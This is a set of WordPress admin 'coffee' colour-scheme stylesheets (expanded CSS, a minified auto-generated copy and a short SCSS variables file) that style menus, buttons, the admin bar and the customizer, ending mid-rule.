.wp-core-ui .menu-item-bar .item-delete:focus:before,
.wp-core-ui #available-menu-items .item-add:focus:before,
.wp-core-ui #customize-save-button-wrapper .save:focus,
.wp-core-ui #publish-settings:focus {
  box-shadow: 0 0 0 1px #d7bfac, 0 0 2px 1px #c7a589;
}
.wp-core-ui #customize-controls .customize-info.open .customize-help-toggle,
.wp-core-ui #customize-controls .customize-info .customize-help-toggle:focus,
.wp-core-ui #customize-controls .customize-info .customize-help-toggle:hover {
  color: #0073aa;
}
.wp-core-ui .control-panel-themes .customize-themes-section-title:focus,
.wp-core-ui .control-panel-themes .customize-themes-section-title:hover {
  border-left-color: #c7a589;
  color: #0073aa;
}
.wp-core-ui .control-panel-themes .theme-section .customize-themes-section-title.selected:after {
  background: #c7a589;
}
.wp-core-ui .control-panel-themes .customize-themes-section-title.selected {
  color: #0073aa;
}
.wp-core-ui #customize-theme-controls .control-section:hover > .accordion-section-title:after,
.wp-core-ui #customize-theme-controls .control-section .accordion-section-title:hover:after,
.wp-core-ui #customize-theme-controls .control-section.open .accordion-section-title:after,
.wp-core-ui #customize-theme-controls .control-section .accordion-section-title:focus:after,
.wp-core-ui #customize-outer-theme-controls .control-section:hover > .accordion-section-title:after,
.wp-core-ui #customize-outer-theme-controls .control-section .accordion-section-title:hover:after,
.wp-core-ui #customize-outer-theme-controls .control-section.open .accordion-section-title:after,
.wp-core-ui #customize-outer-theme-controls .control-section .accordion-section-title:focus:after {
  color: #0073aa;
}
.wp-core-ui .customize-control .attachment-media-view .button-add-media:focus {
  background-color: #fbfbfc;
  border-color: #c7a589;
  border-style: solid;
  box-shadow: 0 0 0 1px #c7a589;
  outline: 2px solid transparent;
}
.wp-core-ui .wp-full-overlay-footer .devices button:focus,
.wp-core-ui .wp-full-overlay-footer .devices button.active:hover {
  border-bottom-color: #c7a589;
}
.wp-core-ui .wp-full-overlay-footer .devices button:hover:before,
.wp-core-ui .wp-full-overlay-footer .devices button:focus:before {
  color: #c7a589;
}
.wp-core-ui .wp-full-overlay .collapse-sidebar:hover,
.wp-core-ui .wp-full-overlay .collapse-sidebar:focus {
  color: #c7a589;
}
.wp-core-ui .wp-full-overlay .collapse-sidebar:hover .collapse-sidebar-arrow,
.wp-core-ui .wp-full-overlay .collapse-sidebar:focus .collapse-sidebar-arrow {
  box-shadow: 0 0 0 1px #d7bfac, 0 0 2px 1px #c7a589;
}
.wp-core-ui.wp-customizer .theme-overlay .theme-header .close:focus, .wp-core-ui.wp-customizer .theme-overlay .theme-header .close:hover, .wp-core-ui.wp-customizer .theme-overlay .theme-header .right:focus, .wp-core-ui.wp-customizer .theme-overlay .theme-header .right:hover, .wp-core-ui.wp-customizer .theme-overlay .theme-header .left:focus, .wp-core-ui.wp-customizer .theme-overlay .theme-header .left:hover {
  border-bottom-color: #c7a589;
  color: #0073aa;
}/*! This file is auto-generated */
body{background:#f1f1f1}a{color:#0073aa}a:active,a:focus,a:hover{color:#0096dd}#post-body #visibility:before,#post-body .misc-pub-post-status:before,#post-body .misc-pub-revisions:before,.curtime #timestamp:before,span.wp-media-buttons-icon:before{color:currentColor}.wp-core-ui .button-link{color:#0073aa}.wp-core-ui .button-link:active,.wp-core-ui .button-link:focus,.wp-core-ui .button-link:hover{color:#0096dd}.media-modal .delete-attachment,.media-modal .trash-attachment,.media-modal .untrash-attachment,.wp-core-ui .button-link-delete{color:#a00}.media-modal .delete-attachment:focus,.media-modal .delete-attachment:hover,.media-modal .trash-attachment:focus,.media-modal .trash-attachment:hover,.media-modal .untrash-attachment:focus,.media-modal .untrash-attachment:hover,.wp-core-ui .button-link-delete:focus,.wp-core-ui .button-link-delete:hover{color:#dc3232}input[type=checkbox]:checked::before{content:url("data:image/svg+xml;utf8,%3Csvg%20xmlns%3D%27http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%27%20viewBox%3D%270%200%2020%2020%27%3E%3Cpath%20d%3D%27M14.83%204.89l1.34.94-5.81%208.38H9.02L5.78%209.67l1.34-1.25%202.57%202.4z%27%20fill%3D%27%2359524c%27%2F%3E%3C%2Fsvg%3E")}input[type=radio]:checked::before{background:#59524c}.wp-core-ui input[type=reset]:active,.wp-core-ui input[type=reset]:hover{color:#0096dd}input[type=checkbox]:focus,input[type=color]:focus,input[type=date]:focus,input[type=datetime-local]:focus,input[type=datetime]:focus,input[type=email]:focus,input[type=month]:focus,input[type=number]:focus,input[type=password]:focus,input[type=radio]:focus,input[type=search]:focus,input[type=tel]:focus,input[type=text]:focus,input[type=time]:focus,input[type=url]:focus,input[type=week]:focus,select:focus,textarea:focus{border-color:#c7a589;box-shadow:0 0 0 1px #c7a589}.wp-core-ui .button{border-color:#7e8993;color:#32373c}.wp-core-ui .button.focus,.wp-core-ui .button.hover,.wp-core-ui .button:focus,.wp-core-ui .button:hover{border-color:#717c87;color:#262a2e}.wp-core-ui .button.focus,.wp-core-ui .button:focus{border-color:#7e8993;color:#262a2e;box-shadow:0 0 0 1px #32373c}.wp-core-ui .button:active{border-color:#7e8993;color:#262a2e;box-shadow:none}.wp-core-ui .button.active,.wp-core-ui .button.active:focus,.wp-core-ui .button.active:hover{border-color:#c7a589;color:#262a2e;box-shadow:inset 0 2px 5px -3px #c7a589}.wp-core-ui .button.active:focus{box-shadow:0 0 0 1px #32373c}.wp-core-ui .button-primary{background:#c7a589;border-color:#c7a589;color:#fff}.wp-core-ui .button-primary:focus,.wp-core-ui .button-primary:hover{background:#ccad93;border-color:#c29d7f;color:#fff}.wp-core-ui .button-primary:focus{box-shadow:0 0 0 1px #fff,0 0 0 3px #c7a589}.wp-core-ui .button-primary:active{background:#bf9878;border-color:#bf9878;color:#fff}.wp-core-ui .button-primary.active,.wp-core-ui .button-primary.active:focus,.wp-core-ui .button-primary.active:hover{background:#c7a589;color:#fff;border-color:#ae7d55;box-shadow:inset 0 2px 5px -3px #37271a}.wp-core-ui .button-group>.button.active{border-color:#c7a589}.wp-core-ui .wp-ui-primary{color:#fff;background-color:#59524c}.wp-core-ui .wp-ui-text-primary{color:#59524c}.wp-core-ui .wp-ui-highlight{color:#fff;background-color:#c7a589}.wp-core-ui .wp-ui-text-highlight{color:#c7a589}.wp-core-ui .wp-ui-notification{color:#fff;background-color:#9ea476}.wp-core-ui .wp-ui-text-notification{color:#9ea476}.wp-core-ui .wp-ui-text-icon{color:hsl(27.6923076923,7%,95%)}.wrap .page-title-action:hover{color:#fff;background-color:#59524c}.view-switch a.current:before{color:#59524c}.view-switch a:hover:before{color:#9ea476}#adminmenu,#adminmenuback,#adminmenuwrap{background:#59524c}#adminmenu a{color:#fff}#adminmenu div.wp-menu-image:before{color:hsl(27.6923076923,7%,95%)}#adminmenu a:hover,#adminmenu li.menu-top:hover,#adminmenu li.opensub>a.menu-top,#adminmenu li>a.menu-top:focus{color:#fff;background-color:#c7a589}#adminmenu li.menu-top:hover div.wp-menu-image:before,#adminmenu li.opensub>a.menu-top div.wp-menu-image:before{color:#fff}.about-wrap .nav-tab-active,.nav-tab-active,.nav-tab-active:hover{background-color:#f1f1f1;border-bottom-color:#f1f1f1}#adminmenu .wp-has-current-submenu .wp-submenu,#adminmenu .wp-has-current-submenu.opensub .wp-submenu,#adminmenu .wp-submenu,#adminmenu a.wp-has-current-submenu:focus+.wp-submenu{background:#46403c}#adminmenu li.wp-has-submenu.wp-not-current-submenu.opensub:hover:after,#adminmenu li.wp-has-submenu.wp-not-current-submenu:focus-within:after{border-right-color:#46403c}#adminmenu .wp-submenu .wp-submenu-head{color:#cdcbc9}#adminmenu .wp-has-current-submenu .wp-submenu a,#adminmenu .wp-has-current-submenu.opensub .wp-submenu a,#adminmenu .wp-submenu a,#adminmenu a.wp-has-current-submenu:focus+.wp-submenu a{color:#cdcbc9}#adminmenu .wp-has-current-submenu .wp-submenu a:focus,#adminmenu .wp-has-current-submenu .wp-submenu a:hover,#adminmenu .wp-has-current-submenu.opensub .wp-submenu a:focus,#adminmenu .wp-has-current-submenu.opensub .wp-submenu a:hover,#adminmenu .wp-submenu a:focus,#adminmenu .wp-submenu a:hover,#adminmenu a.wp-has-current-submenu:focus+.wp-submenu a:focus,#adminmenu a.wp-has-current-submenu:focus+.wp-submenu a:hover{color:#c7a589}#adminmenu .wp-has-current-submenu.opensub .wp-submenu li.current a,#adminmenu .wp-submenu li.current a,#adminmenu a.wp-has-current-submenu:focus+.wp-submenu li.current a{color:#fff}#adminmenu .wp-has-current-submenu.opensub .wp-submenu li.current a:focus,#adminmenu .wp-has-current-submenu.opensub .wp-submenu li.current a:hover,#adminmenu .wp-submenu li.current a:focus,#adminmenu .wp-submenu li.current a:hover,#adminmenu a.wp-has-current-submenu:focus+.wp-submenu li.current a:focus,#adminmenu a.wp-has-current-submenu:focus+.wp-submenu li.current a:hover{color:#c7a589}ul#adminmenu a.wp-has-current-submenu:after,ul#adminmenu>li.current>a.current:after{border-right-color:#f1f1f1}#adminmenu li.current a.menu-top,#adminmenu li.wp-has-current-submenu .wp-submenu .wp-submenu-head,#adminmenu li.wp-has-current-submenu a.wp-has-current-submenu,.folded #adminmenu li.current.menu-top{color:#fff;background:#c7a589}#adminmenu a.current:hover div.wp-menu-image:before,#adminmenu li a:focus div.wp-menu-image:before,#adminmenu li.current div.wp-menu-image:before,#adminmenu li.opensub div.wp-menu-image:before,#adminmenu li.wp-has-current-submenu a:focus div.wp-menu-image:before,#adminmenu li.wp-has-current-submenu div.wp-menu-image:before,#adminmenu li.wp-has-current-submenu.opensub div.wp-menu-image:before,#adminmenu li:hover div.wp-menu-image:before{color:#fff}#adminmenu .awaiting-mod,#adminmenu .menu-counter,#adminmenu .update-plugins{color:#fff;background:#9ea476}#adminmenu li a.wp-has-current-submenu .update-plugins,#adminmenu li.current a .awaiting-mod,#adminmenu li.menu-top:hover>a .update-plugins,#adminmenu li:hover a .awaiting-mod{color:#fff;background:#46403c}#collapse-button{color:hsl(27.6923076923,7%,95%)}#collapse-button:focus,#collapse-button:hover{color:#c7a589}#wpadminbar{color:#fff;background:#59524c}#wpadminbar .ab-item,#wpadminbar a.ab-item,#wpadminbar>#wp-toolbar span.ab-label,#wpadminbar>#wp-toolbar span.noticon{color:#fff}#wpadminbar .ab-icon,#wpadminbar .ab-icon:before,#wpadminbar .ab-item:after,#wpadminbar .ab-item:before{color:hsl(27.6923076923,7%,95%)}#wpadminbar .ab-top-menu>li.menupop.hover>.ab-item,#wpadminbar.nojq .quicklinks .ab-top-menu>li>.ab-item:focus,#wpadminbar.nojs .ab-top-menu>li.menupop:hover>.ab-item,#wpadminbar:not(.mobile) .ab-top-menu>li:hover>.ab-item,#wpadminbar:not(.mobile) .ab-top-menu>li>.ab-item:focus{color:#c7a589;background:#46403c}#wpadminbar:not(.mobile)>#wp-toolbar a:focus span.ab-label,#wpadminbar:not(.mobile)>#wp-toolbar li.hover span.ab-label,#wpadminbar:not(.mobile)>#wp-toolbar li:hover span.ab-label{color:#c7a589}#wpadminbar:not(.mobile) li:hover #adminbarsearch:before,#wpadminbar:not(.mobile) li:hover .ab-icon:before,#wpadminbar:not(.mobile) li:hover .ab-item:after,#wpadminbar:not(.mobile) li:hover .ab-item:before{color:#c7a589}#wpadminbar .menupop .ab-sub-wrapper{background:#46403c}#wpadminbar .quicklinks .menupop ul.ab-sub-secondary,#wpadminbar .quicklinks .menupop ul.ab-sub-secondary .ab-submenu{background:#656463}#wpadminbar .ab-submenu .ab-item,#wpadminbar .quicklinks .menupop ul li a,#wpadminbar .quicklinks .menupop.hover ul li a,#wpadminbar.nojs .quicklinks .menupop:hover ul li a{color:#cdcbc9}#wpadminbar .menupop .menupop>.ab-item:before,#wpadminbar .quicklinks li .blavatar{color:hsl(27.6923076923,7%,95%)}#wpadminbar .quicklinks .ab-sub-wrapper .menupop.hover>a,#wpadminbar .quicklinks .menupop ul li a:focus,#wpadminbar .quicklinks .menupop ul li a:focus strong,#wpadminbar .quicklinks .menupop ul li a:hover,#wpadminbar .quicklinks .menupop ul li a:hover strong,#wpadminbar .quicklinks .menupop.hover ul li a:focus,#wpadminbar .quicklinks .menupop.hover ul li a:hover,#wpadminbar li #adminbarsearch.adminbar-focused:before,#wpadminbar li .ab-item:focus .ab-icon:before,#wpadminbar li .ab-item:focus:before,#wpadminbar li a:focus .ab-icon:before,#wpadminbar li.hover .ab-icon:before,#wpadminbar li.hover .ab-item:before,#wpadminbar li:hover #adminbarsearch:before,#wpadminbar li:hover .ab-icon:before,#wpadminbar li:hover .ab-item:before,#wpadminbar.nojs .quicklinks .menupop:hover ul li a:focus,#wpadminbar.nojs .quicklinks .menupop:hover ul li a:hover{color:#c7a589}#wpadminbar .menupop .menupop>.ab-item:hover:before,#wpadminbar .quicklinks .ab-sub-wrapper .menupop.hover>a .blavatar,#wpadminbar .quicklinks li a:focus .blavatar,#wpadminbar .quicklinks li a:hover .blavatar,#wpadminbar.mobile .quicklinks .ab-icon:before,#wpadminbar.mobile .quicklinks .ab-item:before{color:#c7a589}#wpadminbar.mobile .quicklinks .hover .ab-icon:before,#wpadminbar.mobile .quicklinks .hover .ab-item:before{color:hsl(27.6923076923,7%,95%)}#wpadminbar #adminbarsearch:before{color:hsl(27.6923076923,7%,95%)}#wpadminbar>#wp-toolbar>#wp-admin-bar-top-secondary>#wp-admin-bar-search #adminbarsearch input.adminbar-input:focus{color:#fff;background:#6c645c}#wpadminbar #wp-admin-bar-recovery-mode{color:#fff;background-color:#9ea476}#wpadminbar #wp-admin-bar-recovery-mode .ab-item,#wpadminbar #wp-admin-bar-recovery-mode a.ab-item{color:#fff}#wpadminbar .ab-top-menu>#wp-admin-bar-recovery-mode.hover>.ab-item,#wpadminbar.nojq .quicklinks .ab-top-menu>#wp-admin-bar-recovery-mode>.ab-item:focus,#wpadminbar:not(.mobile) .ab-top-menu>#wp-admin-bar-recovery-mode:hover>.ab-item,#wpadminbar:not(.mobile) .ab-top-menu>#wp-admin-bar-recovery-mode>.ab-item:focus{color:#fff;background-color:#8e946a}#wpadminbar .quicklinks li#wp-admin-bar-my-account.with-avatar>a img{border-color:#6c645c;background-color:#6c645c}#wpadminbar #wp-admin-bar-user-info .display-name{color:#fff}#wpadminbar #wp-admin-bar-user-info a:hover .display-name{color:#c7a589}#wpadminbar #wp-admin-bar-user-info .username{color:#cdcbc9}.wp-pointer .wp-pointer-content h3{background-color:#c7a589;border-color:#bf9878}.wp-pointer .wp-pointer-content h3:before{color:#c7a589}.wp-pointer.wp-pointer-top .wp-pointer-arrow,.wp-pointer.wp-pointer-top .wp-pointer-arrow-inner,.wp-pointer.wp-pointer-undefined .wp-pointer-arrow,.wp-pointer.wp-pointer-undefined .wp-pointer-arrow-inner{border-bottom-color:#c7a589}.media-item .bar,.media-progress-bar div{background-color:#c7a589}.details.attachment{box-shadow:inset 0 0 0 3px #fff,inset 0 0 0 7px #c7a589}.attachment.details .check{background-color:#c7a589;box-shadow:0 0 0 1px #fff,0 0 0 2px #c7a589}.media-selection .attachment.selection.details .thumbnail{box-shadow:0 0 0 1px #fff,0 0 0 3px #c7a589}.theme-browser .theme.active .theme-name,.theme-browser .theme.add-new-theme a:focus:after,.theme-browser .theme.add-new-theme a:hover:after{background:#c7a589}.theme-browser .theme.add-new-theme a:focus span:after,.theme-browser .theme.add-new-theme a:hover span:after{color:#c7a589}.theme-filter.current,.theme-section.current{border-bottom-color:#59524c}body.more-filters-opened .more-filters{color:#fff;background-color:#59524c}body.more-filters-opened .more-filters:before{color:#fff}body.more-filters-opened .more-filters:focus,body.more-filters-opened .more-filters:hover{background-color:#c7a589;color:#fff}body.more-filters-opened .more-filters:focus:before,body.more-filters-opened .more-filters:hover:before{color:#fff}.widgets-chooser li.widgets-chooser-selected{background-color:#c7a589;color:#fff}.widgets-chooser li.widgets-chooser-selected:before,.widgets-chooser li.widgets-chooser-selected:focus:before{color:#fff}.nav-menus-php .item-edit:focus:before{box-shadow:0 0 0 1px #d7bfac,0 0 2px 1px #c7a589}div#wp-responsive-toggle a:before{color:hsl(27.6923076923,7%,95%)}.wp-responsive-open div#wp-responsive-toggle a{border-color:transparent;background:#c7a589}.wp-responsive-open #wpadminbar #wp-admin-bar-menu-toggle a{background:#46403c}.wp-responsive-open #wpadminbar #wp-admin-bar-menu-toggle .ab-icon:before{color:hsl(27.6923076923,7%,95%)}.mce-container.mce-menu .mce-menu-item-normal.mce-active,.mce-container.mce-menu .mce-menu-item-preview.mce-active,.mce-container.mce-menu .mce-menu-item.mce-selected,.mce-container.mce-menu .mce-menu-item:focus,.mce-container.mce-menu .mce-menu-item:hover{background:#c7a589}.wp-core-ui #customize-controls .control-section .accordion-section-title:focus,.wp-core-ui #customize-controls .control-section .accordion-section-title:hover,.wp-core-ui #customize-controls .control-section.open .accordion-section-title,.wp-core-ui #customize-controls .control-section:hover>.accordion-section-title{color:#0073aa;border-left-color:#c7a589}.wp-core-ui .customize-controls-close:focus,.wp-core-ui .customize-controls-close:hover,.wp-core-ui .customize-controls-preview-toggle:focus,.wp-core-ui .customize-controls-preview-toggle:hover{color:#0073aa;border-top-color:#c7a589}.wp-core-ui .customize-panel-back:focus,.wp-core-ui .customize-panel-back:hover,.wp-core-ui .customize-section-back:focus,.wp-core-ui .customize-section-back:hover{color:#0073aa;border-left-color:#c7a589}.wp-core-ui #customize-controls .customize-info.open.active-menu-screen-options .customize-help-toggle:active,.wp-core-ui #customize-controls .customize-info.open.active-menu-screen-options .customize-help-toggle:focus,.wp-core-ui #customize-controls .customize-info.open.active-menu-screen-options .customize-help-toggle:hover,.wp-core-ui .active-menu-screen-options .customize-screen-options-toggle,.wp-core-ui .customize-screen-options-toggle:active,.wp-core-ui .customize-screen-options-toggle:focus,.wp-core-ui .customize-screen-options-toggle:hover{color:#0073aa}.wp-core-ui #available-menu-items .item-add:focus:before,.wp-core-ui #customize-controls .customize-info .customize-help-toggle:focus:before,.wp-core-ui #customize-save-button-wrapper .save:focus,.wp-core-ui #publish-settings:focus,.wp-core-ui .customize-screen-options-toggle:focus:before,.wp-core-ui .menu-item-bar .item-delete:focus:before,.wp-core-ui.wp-customizer button:focus .toggle-indicator:before{box-shadow:0 0 0 1px #d7bfac,0 0 2px 1px #c7a589}.wp-core-ui #customize-controls .customize-info .customize-help-toggle:focus,.wp-core-ui #customize-controls .customize-info .customize-help-toggle:hover,.wp-core-ui #customize-controls .customize-info.open .customize-help-toggle{color:#0073aa}.wp-core-ui .control-panel-themes .customize-themes-section-title:focus,.wp-core-ui .control-panel-themes .customize-themes-section-title:hover{border-left-color:#c7a589;color:#0073aa}.wp-core-ui .control-panel-themes .theme-section .customize-themes-section-title.selected:after{background:#c7a589}.wp-core-ui .control-panel-themes .customize-themes-section-title.selected{color:#0073aa}.wp-core-ui #customize-outer-theme-controls .control-section .accordion-section-title:focus:after,.wp-core-ui #customize-outer-theme-controls .control-section .accordion-section-title:hover:after,.wp-core-ui #customize-outer-theme-controls .control-section.open .accordion-section-title:after,.wp-core-ui #customize-outer-theme-controls .control-section:hover>.accordion-section-title:after,.wp-core-ui #customize-theme-controls .control-section .accordion-section-title:focus:after,.wp-core-ui #customize-theme-controls .control-section .accordion-section-title:hover:after,.wp-core-ui #customize-theme-controls .control-section.open .accordion-section-title:after,.wp-core-ui #customize-theme-controls .control-section:hover>.accordion-section-title:after{color:#0073aa}.wp-core-ui .customize-control .attachment-media-view .button-add-media:focus{background-color:#fbfbfc;border-color:#c7a589;border-style:solid;box-shadow:0 0 0 1px #c7a589;outline:2px solid transparent}.wp-core-ui .wp-full-overlay-footer .devices button.active:hover,.wp-core-ui .wp-full-overlay-footer .devices button:focus{border-bottom-color:#c7a589}.wp-core-ui .wp-full-overlay-footer .devices button:focus:before,.wp-core-ui .wp-full-overlay-footer .devices button:hover:before{color:#c7a589}.wp-core-ui .wp-full-overlay .collapse-sidebar:focus,.wp-core-ui .wp-full-overlay .collapse-sidebar:hover{color:#c7a589}.wp-core-ui .wp-full-overlay .collapse-sidebar:focus .collapse-sidebar-arrow,.wp-core-ui .wp-full-overlay .collapse-sidebar:hover .collapse-sidebar-arrow{box-shadow:0 0 0 1px #d7bfac,0 0 2px 1px #c7a589}.wp-core-ui.wp-customizer .theme-overlay .theme-header .close:focus,.wp-core-ui.wp-customizer .theme-overlay .theme-header .close:hover,.wp-core-ui.wp-customizer .theme-overlay .theme-header .left:focus,.wp-core-ui.wp-customizer .theme-overlay .theme-header .left:hover,.wp-core-ui.wp-customizer .theme-overlay .theme-header .right:focus,.wp-core-ui.wp-customizer .theme-overlay .theme-header .right:hover{border-bottom-color:#c7a589;color:#0073aa}$scheme-name: "coffee";
$base-color: #59524c;
$highlight-color: #c7a589;
$notification-color: #9ea476;
$low-contrast-theme: "true";

$form-checked: $base-color;

@import "../_admin.scss";
/*! This file is auto-generated */
/*
 * Button mixin- creates a button effect with correct
 * highlights/shadows, based on a base color.
 */
/**
 * This function name uses British English to maintain backward compatibility, as developers
 * may use the function in their own admin CSS files. See #56811.
 */
body {
  background: #f1f1f1;
}

/* Links */
a {
  color: #0073aa;
}
a:hover, a:active, a:focus {
  color: #0096dd;
}

#post-body .misc-pub-post-status:before,
#post-body #visibility:before,
.curtime #timestamp:before,
#post-body .misc-pub-revisions:before,
span.wp-media-buttons-icon:before {
  color: currentColor;
}

.wp-core-ui .button-link {
  color: #0073aa;
}
.wp-core-ui .button-link:hover, .wp-core-ui .button-link:active, .wp-core-ui .button-link:focus {
  color: #0096dd;
}

.media-modal .delete-attachment,
.media-modal .trash-attachment,
.media-modal .untrash-attachment,
.wp-core-ui .button-link-delete {
  color: #a00;
}

.media-modal .delete-attachment:hover,
.media-modal .trash-attachment:hover,
.media-modal .untrash-attachment:hover,
.media-modal .delete-attachment:focus,
.media-modal .trash-attachment:focus,
.media-modal .untrash-attachment:focus,
.wp-core-ui .button-link-delete:hover,
.wp-core-ui .button-link-delete:focus {
  color: #dc3232;
}

/* Forms */
input[type=checkbox]:checked::before {
  content: url("data:image/svg+xml;utf8,%3Csvg%20xmlns%3D%27http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%27%20viewBox%3D%270%200%2020%2020%27%3E%3Cpath%20d%3D%27M14.83%204.89l1.34.94-5.81%208.38H9.02L5.78%209.67l1.34-1.25%202.57%202.4z%27%20fill%3D%27%2359524c%27%2F%3E%3C%2Fsvg%3E");
}

input[type=radio]:checked::before {
  background: #59524c;
}

.wp-core-ui input[type=reset]:hover,
.wp-core-ui input[type=reset]:active {
  color: #0096dd;
}

input[type=text]:focus,
input[type=password]:focus,
input[type=color]:focus,
input[type=date]:focus,
input[type=datetime]:focus,
input[type=datetime-local]:focus,
input[type=email]:focus,
input[type=month]:focus,
input[type=number]:focus,
input[type=search]:focus,
input[type=tel]:focus,
input[type=text]:focus,
input[type=time]:focus,
input[type=url]:focus,
input[type=week]:focus,
input[type=checkbox]:focus,
input[type=radio]:focus,
select:focus,
textarea:focus {
  border-color: #c7a589;
  box-shadow: 0 0 0 1px #c7a589;
}

/* Core UI */
.wp-core-ui .button {
  border-color: #7e8993;
  color: #32373c;
}
.wp-core-ui .button.hover,
.wp-core-ui .button:hover,
.wp-core-ui .button.focus,
.wp-core-ui .button:focus {
  border-color: #717c87;
  color: #262a2e;
}
.wp-core-ui .button.focus,
.wp-core-ui .button:focus {
  border-color: #7e8993;
  color: #262a2e;
  box-shadow: 0 0 0 1px #32373c;
}
.wp-core-ui .button:active {
  border-color: #7e8993;
  color: #262a2e;
  box-shadow: none;
}
.wp-core-ui .button.active,
.wp-core-ui .button.active:focus,
.wp-core-ui .button.active:hover {
  border-color: #c7a589;
  color: #262a2e;
  box-shadow: inset 0 2px 5px -3px #c7a589;
}
.wp-core-ui .button.active:focus {
  box-shadow: 0 0 0 1px #32373c;
}
.wp-core-ui .button-primary {
  background: #c7a589;
  border-color: #c7a589;
  color: #fff;
}
.wp-core-ui .button-primary:hover, .wp-core-ui .button-primary:focus {
  background: #ccad93;
  border-color: #c29d7f;
  color: #fff;
}
.wp-core-ui .button-primary:focus {
  box-shadow: 0 0 0 1px #fff, 0 0 0 3px #c7a589;
}
.wp-core-ui .button-primary:active {
  background: #bf9878;
  border-color: #bf9878;
  color: #fff;
}
.wp-core-ui .button-primary.active, .wp-core-ui .button-primary.active:focus, .wp-core-ui .button-primary.active:hover {
  background: #c7a589;
  color: #fff;
  border-color: #ae7d55;
  box-shadow: inset 0 2px 5px -3px #37271a;
}
.wp-core-ui .button-group > .button.active {
  border-color: #c7a589;
}
.wp-core-ui .wp-ui-primary {
  color: #fff;
  background-color: #59524c;
}
.wp-core-ui .wp-ui-text-primary {
  color: #59524c;
}
.wp-core-ui .wp-ui-highlight {
  color: #fff;
  background-color: #c7a589;
}
.wp-core-ui .wp-ui-text-highlight {
  color: #c7a589;
}
.wp-core-ui .wp-ui-notification {
  color: #fff;
  background-color: #9ea476;
}
.wp-core-ui .wp-ui-text-notification {
  color: #9ea476;
}
.wp-core-ui .wp-ui-text-icon {
  color: hsl(27.6923076923, 7%, 95%);
}

/* List tables */
.wrap .page-title-action:hover {
  color: #fff;
  background-color: #59524c;
}

.view-switch a.current:before {
  color: #59524c;
}

.view-switch a:hover:before {
  color: #9ea476;
}

/* Admin Menu */
#adminmenuback,
#adminmenuwrap,
#adminmenu {
  background: #59524c;
}

#adminmenu a {
  color: #fff;
}

#adminmenu div.wp-menu-image:before {
  color: hsl(27.6923076923, 7%, 95%);
}

#adminmenu a:hover,
#adminmenu li.menu-top:hover,
#adminmenu li.opensub > a.menu-top,
#adminmenu li > a.menu-top:focus {
  color: #fff;
  background-color: #c7a589;
}

#adminmenu li.menu-top:hover div.wp-menu-image:before,
#adminmenu li.opensub > a.menu-top div.wp-menu-image:before {
  color: #fff;
}

/* Active tabs use a bottom border color that matches the page background color. */
.about-wrap .nav-tab-active,
.nav-tab-active,
.nav-tab-active:hover {
  background-color: #f1f1f1;
  border-bottom-color: #f1f1f1;
}

/* Admin Menu: submenu */
#adminmenu .wp-submenu,
#adminmenu .wp-has-current-submenu .wp-submenu,
#adminmenu .wp-has-current-submenu.opensub .wp-submenu,
#adminmenu a.wp-has-current-submenu:focus + .wp-submenu {
  background: #46403c;
}

#adminmenu li.wp-has-submenu.wp-not-current-submenu.opensub:hover:after,
#adminmenu li.wp-has-submenu.wp-not-current-submenu:focus-within:after {
  border-left-color: #46403c;
}

#adminmenu .wp-submenu .wp-submenu-head {
  color: #cdcbc9;
}

#adminmenu .wp-submenu a,
#adminmenu .wp-has-current-submenu .wp-submenu a,
#adminmenu a.wp-has-current-submenu:focus + .wp-submenu a,
#adminmenu .wp-has-current-submenu.opensub .wp-submenu a {
  color: #cdcbc9;
}
#adminmenu .wp-submenu a:focus, #adminmenu .wp-submenu a:hover,
#adminmenu .wp-has-current-submenu .wp-submenu a:focus,
#adminmenu .wp-has-current-submenu .wp-submenu a:hover,
#adminmenu a.wp-has-current-submenu:focus + .wp-submenu a:focus,
#adminmenu a.wp-has-current-submenu:focus + .wp-submenu a:hover,
#adminmenu .wp-has-current-submenu.opensub .wp-submenu a:focus,
#adminmenu .wp-has-current-submenu.opensub .wp-submenu a:hover {
  color: #c7a589;
}

/* Admin Menu: current */
#adminmenu .wp-submenu li.current a,
#adminmenu a.wp-has-current-submenu:focus + .wp-submenu li.current a,
#adminmenu .wp-has-current-submenu.opensub .wp-submenu li.current a {
  color: #fff;
}
#adminmenu .wp-submenu li.current a:hover, #adminmenu .wp-submenu li.current a:focus,
#adminmenu a.wp-has-current-submenu:focus + .wp-submenu li.current a:hover,
#adminmenu a.wp-has-current-submenu:focus + .wp-submenu li.current a:focus,
#adminmenu .wp-has-current-submenu.opensub .wp-submenu li.current a:hover,
#adminmenu .wp-has-current-submenu.opensub .wp-submenu li.current a:focus {
  color: #c7a589;
}

ul#adminmenu a.wp-has-current-submenu:after,
ul#adminmenu > li.current > a.current:after {
  border-left-color: #f1f1f1;
}

#adminmenu li.current a.menu-top,
#adminmenu li.wp-has-current-submenu a.wp-has-current-submenu,
#adminmenu li.wp-has-current-submenu .wp-submenu .wp-submenu-head,
.folded #adminmenu li.current.menu-top {
  color: #fff;
  background: #c7a589;
}

#adminmenu li.wp-has-current-submenu div.wp-menu-image:before,
#adminmenu a.current:hover div.wp-menu-image:before,
#adminmenu li.current div.wp-menu-image:before,
#adminmenu li.wp-has-current-submenu a:focus div.wp-menu-image:before,
#adminmenu li.wp-has-current-submenu.opensub div.wp-menu-image:before,
#adminmenu li:hover div.wp-menu-image:before,
#adminmenu li a:focus div.wp-menu-image:before,
#adminmenu li.opensub div.wp-menu-image:before {
  color: #fff;
}

/* Admin Menu: bubble */
#adminmenu .menu-counter,
#adminmenu .awaiting-mod,
#adminmenu .update-plugins {
  color: #fff;
  background: #9ea476;
}

#adminmenu li.current a .awaiting-mod,
#adminmenu li a.wp-has-current-submenu .update-plugins,
#adminmenu li:hover a .awaiting-mod,
#adminmenu li.menu-top:hover > a .update-plugins {
  color: #fff;
  background: #46403c;
}

/* Admin Menu: collapse button */
#collapse-button {
  color: hsl(27.6923076923, 7%, 95%);
}

#collapse-button:hover,
#collapse-button:focus {
  color: #c7a589;
}

/* Admin Bar */
#wpadminbar {
  color: #fff;
  background: #59524c;
}

#wpadminbar .ab-item,
#wpadminbar a.ab-item,
#wpadminbar > #wp-toolbar span.ab-label,
#wpadminbar > #wp-toolbar span.noticon {
  color: #fff;
}

#wpadminbar .ab-icon,
#wpadminbar .ab-icon:before,
#wpadminbar .ab-item:before,
#wpadminbar .ab-item:after {
  color: hsl(27.6923076923, 7%, 95%);
}

#wpadminbar:not(.mobile) .ab-top-menu > li:hover > .ab-item,
#wpadminbar:not(.mobile) .ab-top-menu > li > .ab-item:focus,
#wpadminbar.nojq .quicklinks .ab-top-menu > li > .ab-item:focus,
